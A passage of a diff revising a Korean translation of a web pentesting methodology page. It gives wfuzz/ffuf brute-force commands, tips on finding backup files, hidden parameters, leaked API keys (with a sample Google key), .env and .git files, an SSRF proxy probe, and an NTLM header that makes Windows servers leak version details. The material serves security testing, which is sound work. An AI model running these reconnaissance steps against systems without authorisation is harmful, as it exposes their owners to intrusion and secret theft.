search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): ๋ฐœ๊ฒฌ๋œ URL ๋ชฉ๋ก์„ ์ž…๋ ฅํ•˜๋ฉด "์ค‘๋ณต" URL์„ ์ œ๊ฑฐํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp ํžˆ์Šคํ† ๋ฆฌ์—์„œ ์—ฌ๋Ÿฌ ํŽ˜์ด์ง€์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ชฉ๋ก์„ ์ƒ์„ฑํ•˜๋Š” Burp Extension์ž…๋‹ˆ๋‹ค. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js ์ž„ํฌํŠธ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์ค‘๋ณต ๊ธฐ๋Šฅ์„ ๊ฐ€์ง„ URL์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. -- [**Chamaleon**](https://github.com/iustin24/chameleon): Wappalyzer๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ๋œ ๊ธฐ์ˆ ์„ ๊ฐ์ง€ํ•˜๊ณ  ์ ์ ˆํ•œ ์›Œ๋“œ๋ฆฌ์ŠคํŠธ๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค. +- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports) +- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use. -์ถ”์ฒœ ์›Œ๋“œ๋ฆฌ์ŠคํŠธ: +**Recommended dictionaries:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -269,41 +268,41 @@ Information about SSL/TLS vulnerabilities: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_์ƒˆ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ brute-forcing ๋˜๋Š” spidering ์ค‘์— ๋ฐœ๊ฒฌ๋˜๋ฉด, ์–ธ์ œ๋‚˜ ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ Brute-Forceํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค._ +_์ƒˆ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ brute-forcing ๋˜๋Š” spidering ๋„์ค‘ ๋ฐœ๊ฒฌ๋˜๋ฉด, ๊ทธ ๋””๋ ‰ํ† ๋ฆฌ๋„ ํ•ญ์ƒ Brute-Forced ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML ๋‚ด๋ถ€์˜ ๋Š์–ด์ง„ ๋งํฌ๋ฅผ ์ฐพ์•„ takeover์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. -- **File Backups**: ๋ชจ๋“  ํŒŒ์ผ์„ ์ฐพ์€ ํ›„์—๋Š” ์‹คํ–‰ ํŒŒ์ผ์˜ ๋ฐฑ์—…(์˜ˆ: "_.php_", "_.aspx_" ...)์„ ์ฐพ์•„๋ณด์„ธ์š”. ๋ฐฑ์—… ์ด๋ฆ„์˜ ํ”ํ•œ ๋ณ€ํ˜•์—๋Š” _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old_ ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋„๊ตฌ [**bfac**](https://github.com/mazen160/bfac) ๋˜๋Š” [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)์„ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. -- **Discover new parameters**: ์ˆจ๊ฒจ์ง„ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ ค๋ฉด [**Arjun**](https://github.com/s0md3v/Arjun), [**parameth**](https://github.com/maK-/parameth), [**x8**](https://github.com/sh1yo/x8) ๋ฐ [**Param Miner**](https://github.com/PortSwigger/param-miner) ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ๊ฐ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์›น ํŒŒ์ผ์—์„œ ์ˆจ๊ฒจ์ง„ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML ๋‚ด๋ถ€์˜ ๊นจ์ง„ ๋งํฌ๋ฅผ ์ฐพ์•„ takeover์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋Š” ๋ถ€๋ถ„์„ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค. +- **File Backups**: ๋ชจ๋“  ํŒŒ์ผ์„ ์ฐพ์€ ํ›„์—๋Š” ์‹คํ–‰ ํŒŒ์ผ๋“ค์˜ ๋ฐฑ์—…(์˜ˆ: "_.php_", "_.aspx_"...)์„ ์ฐพ์•„๋ณด์„ธ์š”. ๋ฐฑ์—… ํŒŒ์ผ๋ช…์œผ๋กœ ํ”ํžˆ ์‚ฌ์šฉ๋˜๋Š” ๋ณ€ํ˜•์€: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ ๋˜ํ•œ [**bfac**](https://github.com/mazen160/bfac) **๋˜๋Š”** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **Discover new parameters**: ์ˆจ๊ฒจ์ง„ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **๋ฐ** [**Param Miner**](https://github.com/PortSwigger/param-miner) ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ๊ฐ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์›น ํŒŒ์ผ์—์„œ ์ˆจ๊ฒจ์ง„ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner โ€œparamsโ€ :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote โ€œparameters_top_1mโ€:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de โ€œparams.txtโ€:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** ๋ชจ๋“  ํŒŒ์ผ์˜ ์ฃผ์„์„ ํ™•์ธํ•˜์„ธ์š”. ์ฃผ์„์—์„œ **credentials**๋‚˜ ์ˆจ๊ฒจ์ง„ ๊ธฐ๋Šฅ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- CTF๋ฅผ ์ง„ํ–‰ ์ค‘์ด๋ผ๋ฉด ํ”ํ•œ ํŠธ๋ฆญ์œผ๋กœ ํŽ˜์ด์ง€ ์†Œ์Šค ์šฐ์ธก์— ์ˆ˜๋ฐฑ ๊ฐœ์˜ ๊ณต๋ฐฑ์„ ๋„ฃ์–ด ์ฃผ์„์— ์ •๋ณด๋ฅผ ์ˆจ๊ธฐ๊ฑฐ๋‚˜ ์—ฌ๋Ÿฌ ๊ฐœ์˜ ์ค„๋ฐ”๊ฟˆ์„ ์‚ฌ์šฉํ•ด ํŽ˜์ด์ง€ ํ•˜๋‹จ์˜ ์ฃผ์„์— ์ •๋ณด๋ฅผ ์ˆจ๊ธฐ๋Š” ๋ฐฉ์‹์ด ์žˆ์Šต๋‹ˆ๋‹ค. -- **API keys**: API ํ‚ค๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด ๋‹ค์–‘ํ•œ ํ”Œ๋žซํผ์˜ API ํ‚ค ์‚ฌ์šฉ๋ฒ•์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€์ด๋“œ๋“ค์ด ์žˆ์Šต๋‹ˆ๋‹ค: [**keyhacks**](https://github.com/streaak/keyhacks), [**zile**](https://github.com/xyele/zile.git), [**truffleHog**](https://github.com/trufflesecurity/truffleHog), [**SecretFinder**](https://github.com/m4ll0k/SecretFinder), [**RegHex**](), [**DumpsterDive**](https://github.com/securing/DumpsterDiver), [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: **AIza**๋กœ ์‹œ์ž‘ํ•˜๋Š” API ํ‚ค(์˜ˆ: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik)๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) ํ”„๋กœ์ ํŠธ๋ฅผ ์‚ฌ์šฉํ•ด ํ•ด๋‹น ํ‚ค๋กœ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ API๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **S3 Buckets**: spidering ์ค‘ ํ•˜์œ„ ๋„๋ฉ”์ธ์ด๋‚˜ ๋งํฌ๊ฐ€ S3 ๋ฒ„ํ‚ท๊ณผ ๊ด€๋ จ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ [**check** the **permissions** of the bucket](buckets/index.html). +- **Comments:** ๋ชจ๋“  ํŒŒ์ผ์˜ ์ฃผ์„์„ ํ™•์ธํ•˜์„ธ์š”. ์ฃผ์„์—์„œ **credentials**๋‚˜ **hidden functionality**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- ๋งŒ์•ฝ **CTF**๋ฅผ ์ง„ํ–‰ ์ค‘์ด๋ผ๋ฉด, ํ”ํ•œ ํŠธ๋ฆญ์œผ๋กœ ํŽ˜์ด์ง€์˜ **์˜ค๋ฅธ์ชฝ**์— ์ˆ˜๋ฐฑ ๊ฐœ์˜ **๊ณต๋ฐฑ**์„ ๋„ฃ์–ด ๋ธŒ๋ผ์šฐ์ €๋กœ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ์—ด์—ˆ์„ ๋•Œ ๋ณด์ด์ง€ ์•Š๊ฒŒ ์ •๋ณด๋ฅผ **์ฃผ์„**์œผ๋กœ ์ˆจ๊ธฐ๊ฑฐ๋‚˜, ์—ฌ๋Ÿฌ ๊ฐœ์˜ ์ค„๋ฐ”๊ฟˆ์„ ์‚ฌ์šฉํ•ด ํŽ˜์ด์ง€ ํ•˜๋‹จ์˜ ์ฃผ์„์— ์ •๋ณด๋ฅผ ์ˆจ๊ธฐ๋Š” ๋ฐฉ์‹์ด ์žˆ์Šต๋‹ˆ๋‹ค. +- **API keys**: API ํ‚ค๋ฅผ ์ฐพ์œผ๋ฉด ๋‹ค์–‘ํ•œ ํ”Œ๋žซํผ์˜ API ํ‚ค ์‚ฌ์šฉ ๋ฐฉ๋ฒ•์„ ์•ˆ๋‚ดํ•˜๋Š” ํ”„๋กœ์ ํŠธ๋“ค์„ ์ฐธ๊ณ ํ•˜์„ธ์š”: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: **AIza**๋กœ ์‹œ์ž‘ํ•˜๋Š” API ํ‚ค(์˜ˆ: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik)๋ฅผ ์ฐพ์œผ๋ฉด [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)๋ฅผ ์‚ฌ์šฉํ•ด ํ•ด๋‹น ํ‚ค๊ฐ€ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ API๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **S3 Buckets**: spidering ์ค‘์— ์–ด๋–ค **subdomain**์ด๋‚˜ **link**๊ฐ€ S3 bucket๊ณผ ๊ด€๋ จ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ [**check** the **permissions** of the bucket](buckets/index.html). ### Special findings -**spidering**๊ณผ **brute-forcing**์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋™์•ˆ **์ฃผ์˜ํ•ด์•ผ ํ•  ํฅ๋ฏธ๋กœ์šด ํ•ญ๋ชฉ**์„ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**spidering**๊ณผ **brute-forcing**์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋™์•ˆ **์ฃผ์˜**ํ•ด์•ผ ํ•  **ํฅ๋ฏธ๋กœ์šด** ํ•ญ๋ชฉ๋“ค์ด ๋ฐœ๊ฒฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **Interesting files** -- CSS ํŒŒ์ผ ๋‚ด๋ถ€์˜ ๋‹ค๋ฅธ ํŒŒ์ผ๋กœ์˜ **links**๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”. -- [If you find a _**.git**_ file some information can be extracted](git.md) -- _**.env**_ ํŒŒ์ผ์„ ์ฐพ์œผ๋ฉด API ํ‚ค, DB ๋น„๋ฐ€๋ฒˆํ˜ธ ๋“ฑ ๋‹ค์–‘ํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **API endpoints**๋ฅผ ์ฐพ์œผ๋ฉด [should also test them](web-api-pentesting.md). ์ด๋“ค์€ ํŒŒ์ผ์ด ์•„๋‹ˆ์ง€๋งŒ ํŒŒ์ผ์ฒ˜๋Ÿผ ๋ณด์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **JS files**: spidering ์„น์…˜์—์„œ JS ํŒŒ์ผ์—์„œ ๊ฒฝ๋กœ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ๋„๊ตฌ๋ฅผ ์–ธ๊ธ‰ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ๋ฐœ๊ฒฌ๋œ ๊ฐ JS ํŒŒ์ผ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ํŒŒ์ผ ๋ณ€๊ฒฝ์€ ์ž ์žฌ์  ์ทจ์•ฝ์ ์ด ์ฝ”๋“œ์— ๋„์ž…๋˜์—ˆ์Œ์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด [**JSMon**](https://github.com/robre/jsmon)์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- ๋ฐœ๊ฒฌํ•œ JS ํŒŒ์ผ์„ [**RetireJS**](https://github.com/retirejs/retire.js/) ๋˜๋Š” [**JSHole**](https://github.com/callforpapers-source/jshole)๋กœ ๊ฒ€์‚ฌํ•ด ์ทจ์•ฝ์„ฑ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. +- CSS ํŒŒ์ผ ๋‚ด๋ถ€์˜ **links**๋กœ ์—ฐ๊ฒฐ๋œ ๋‹ค๋ฅธ ํŒŒ์ผ๋“ค์„ ์ฐพ์•„๋ณด์„ธ์š”. +- [_**.git**_ ํŒŒ์ผ์„ ์ฐพ์œผ๋ฉด ์ผ๋ถ€ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค](git.md) +- _**.env**_ ํŒŒ์ผ์„ ์ฐพ์œผ๋ฉด API ํ‚ค, DB ํŒจ์Šค์›Œ๋“œ ๋“ฑ ์—ฌ๋Ÿฌ ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **API endpoints**๋ฅผ ์ฐพ์œผ๋ฉด ํ•ด๋‹น ์—”๋“œํฌ์ธํŠธ๋“ค๋„ [ํ…Œ์ŠคํŠธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค](web-api-pentesting.md). ์ด๋“ค์€ ํŒŒ์ผ์€ ์•„๋‹ˆ์ง€๋งŒ ํŒŒ์ผ์ฒ˜๋Ÿผ ๋ณด์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. +- **JS files**: spidering ์„น์…˜์—์„œ JS ํŒŒ์ผ์—์„œ ๊ฒฝ๋กœ๋ฅผ ์ถ”์ถœํ•˜๋Š” ์—ฌ๋Ÿฌ ๋„๊ตฌ๋ฅผ ์–ธ๊ธ‰ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ๋ฐœ๊ฒฌํ•œ ๊ฐ JS ํŒŒ์ผ์„ **๋ชจ๋‹ˆํ„ฐ๋ง**ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ์ผ๋ถ€ ๊ฒฝ์šฐ ์ฝ”๋“œ ๋ณ€๊ฒฝ์ด ์ž ์žฌ์  ์ทจ์•ฝ์ ์˜ ๋„์ž…์„ ์˜๋ฏธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด [**JSMon**](https://github.com/robre/jsmon)์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- ๋ฐœ๊ฒฌํ•œ JS ํŒŒ์ผ์„ [**RetireJS**](https://github.com/retirejs/retire.js/) ๋˜๋Š” [**JSHole**](https://github.com/callforpapers-source/jshole)๋กœ ๊ฒ€์‚ฌํ•ด ์ทจ์•ฝํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- ์ •๊ทœ์‹์„ ์ดํ•ดํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์ž์ฃผ ์žˆ์œผ๋ฏ€๋กœ ๋‹ค์Œ์ด ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค: [https://regex101.com/](https://regex101.com) ๋˜๋Š” [https://pythonium.net/regex](https://pythonium.net/regex) -- ํผ์ด ๊ฐ์ง€๋œ ํŒŒ์ผ๋“ค์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๊ฒƒ๋„ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ํŒŒ๋ผ๋ฏธํ„ฐ ๋ณ€๊ฒฝ์ด๋‚˜ ์ƒˆ๋กœ์šด ํผ์˜ ๋“ฑ์žฅ ๋“ฑ์€ ์ž ์žฌ์ ์œผ๋กœ ์ƒˆ๋กœ์šด ์ทจ์•ฝ ๊ธฐ๋Šฅ์ด ์ƒ๊ฒผ์Œ์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- ์ •๊ทœ ํ‘œํ˜„์‹(regular expressions)์„ ์ดํ•ดํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์ž์ฃผ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋„์›€์ด ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค: [https://regex101.com/](https://regex101.com) ๋˜๋Š” [https://pythonium.net/regex](https://pythonium.net/regex) +- ํผ์ด ๊ฐ์ง€๋œ ํŒŒ์ผ๋“ค์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๊ฒƒ๋„ ์ข‹์Šต๋‹ˆ๋‹ค. ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๋ณ€๊ฒฝ์ด๋‚˜ ์ƒˆ๋กœ์šด ํผ์˜ ๋“ฑ์žฅ์€ ์ž ์žฌ์  ์ทจ์•ฝํ•œ ๊ธฐ๋Šฅ์˜ ์ถœํ˜„์„ ์˜๋ฏธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -314,21 +313,21 @@ _์ƒˆ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ brute-forcing ๋˜๋Š” spidering ์ค‘์— ๋ฐœ๊ฒฌ๋˜๋ฉด, ์–ธ์ œ **502 Proxy Error** -ํŽ˜์ด์ง€๊ฐ€ ํ•ด๋‹น ์ฝ”๋“œ๋กœ ์‘๋‹ตํ•˜๋ฉด ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ํ”„๋ก์‹œ์ผ ๊ฐ€๋Šฅ์„ฑ์ด ํฝ๋‹ˆ๋‹ค. `GET https://google.com HTTP/1.1` ๊ฐ™์€ HTTP ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด(Host ํ—ค๋” ๋ฐ ๊ธฐํƒ€ ์ผ๋ฐ˜ ํ—ค๋” ํฌํ•จ), ํ”„๋ก์‹œ๋Š” _**google.com**_์— ์ ‘๊ทผ์„ ์‹œ๋„ํ•˜๊ณ  SSRF๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์–ด๋–ค ํŽ˜์ด์ง€๊ฐ€ ํ•ด๋‹น **์ฝ”๋“œ**๋กœ ์‘๋‹ตํ•˜๋ฉด, ์ด๋Š” ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ํ”„๋ก์‹œ์ผ ๊ฐ€๋Šฅ์„ฑ์ด ํฝ๋‹ˆ๋‹ค. **๋งŒ์•ฝ ๋‹ค์Œ๊ณผ ๊ฐ™์€ HTTP ์š”์ฒญ์„ ๋ณด๋‚ธ๋‹ค๋ฉด: `GET https://google.com HTTP/1.1`** (Host ํ—ค๋” ๋ฐ ๊ธฐํƒ€ ์ผ๋ฐ˜ ํ—ค๋” ํฌํ•จ), ํ”„๋ก์‹œ๋Š” _**google.com**_์— ์ ‘๊ทผํ•˜๋ ค ์‹œ๋„ํ•˜๋ฉฐ ์ด๋Š” SSRF๋ฅผ ๋ฐœ๊ฒฌํ•œ ๊ฒฝ์šฐ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **NTLM Authentication - Info disclosure** -์„œ๋ฒ„๊ฐ€ ์ธ์ฆ์„ ์š”์ฒญํ•˜๊ณ  ํ•ด๋‹น ์„œ๋ฒ„๊ฐ€ **Windows**์ด๊ฑฐ๋‚˜ ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ๋ฌป๋Š” ๋กœ๊ทธ์ธ ํ™”๋ฉด์„ ๋ฐœ๊ฒฌํ•˜๋ฉด ์ •๋ณด ๋…ธ์ถœ์„ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -ํ—ค๋”๋กœ `โ€œAuthorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=โ€`๋ฅผ ๋ณด๋‚ด๋ฉด NTLM ์ธ์ฆ ๋™์ž‘ ๋ฐฉ์‹ ๋•Œ๋ฌธ์— ์„œ๋ฒ„๊ฐ€ "WWW-Authenticate" ํ—ค๋”์— ๋‚ด๋ถ€ ์ •๋ณด(IIS ๋ฒ„์ „, Windows ๋ฒ„์ „ ๋“ฑ)๋ฅผ ์‘๋‹ต์œผ๋กœ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์ด๋ฅผ ์ž๋™ํ™”ํ•˜๋ ค๋ฉด nmap ํ”Œ๋Ÿฌ๊ทธ์ธ "_http-ntlm-info.nse_"๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์‹คํ–‰ ์ค‘์ธ ์„œ๋ฒ„๊ฐ€ ์ธ์ฆ์„ ์š”๊ตฌํ•˜๊ณ  ๊ทธ ์„œ๋ฒ„๊ฐ€ **Windows**์ด๊ฑฐ๋‚˜ ๋กœ๊ทธ์ธ์—์„œ **๋„๋ฉ”์ธ ์ด๋ฆ„**์„ ์š”๊ตฌํ•˜๋ฉด ์ •๋ณด ๋ˆ„์ถœ์„ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +๋‹ค์Œ **ํ—ค๋”**๋ฅผ ์ „์†กํ•˜์„ธ์š”: `โ€œAuthorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=โ€` ๊ทธ๋Ÿฌ๋ฉด NTLM ์ธ์ฆ ๋ฐฉ์‹ ๋•Œ๋ฌธ์— ์„œ๋ฒ„๊ฐ€ "WWW-Authenticate" ํ—ค๋” ์•ˆ์— ๋‚ด๋ถ€ ์ •๋ณด(IIS ๋ฒ„์ „, Windows ๋ฒ„์ „ ๋“ฑ)๋ฅผ ์‘๋‹ต์œผ๋กœ ๋ณด๋‚ด๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.\ +์ด๋ฅผ ์ž๋™ํ™”ํ•˜๋ ค๋ฉด **nmap plugin** "_http-ntlm-info.nse_"๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **HTTP Redirect (CTF)** -๋ฆฌ๋””๋ ‰์…˜ ์•ˆ์— ์ฝ˜ํ…์ธ ๋ฅผ ๋„ฃ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ฝ˜ํ…์ธ ๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ฆฌ๋””๋ ‰์…˜์„ ์‹คํ–‰ํ•˜๋ฏ€๋กœ ์‚ฌ์šฉ์ž์—๊ฒŒ๋Š” ํ‘œ์‹œ๋˜์ง€ ์•Š์ง€๋งŒ, ๊ทธ ์•ˆ์— ๋ฌด์–ธ๊ฐ€๋ฅผ ์ˆจ๊ธธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋ฆฌ๋‹ค์ด๋ ‰์…˜ ์•ˆ์— ์ฝ˜ํ…์ธ ๋ฅผ ๋„ฃ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ฝ˜ํ…์ธ ๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ฆฌ๋‹ค์ด๋ ‰์…˜์„ ์‹คํ–‰ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์‚ฌ์šฉ์ž์—๊ฒŒ **๋ณด์—ฌ์ง€์ง€ ์•Š์ง€๋งŒ**, ๊ทธ ์•ˆ์— **๋ฌด์–ธ๊ฐ€๋ฅผ ์ˆจ๊ธธ ์ˆ˜** ์žˆ์Šต๋‹ˆ๋‹ค. ### Web Vulnerabilities Checking -์›น ์• 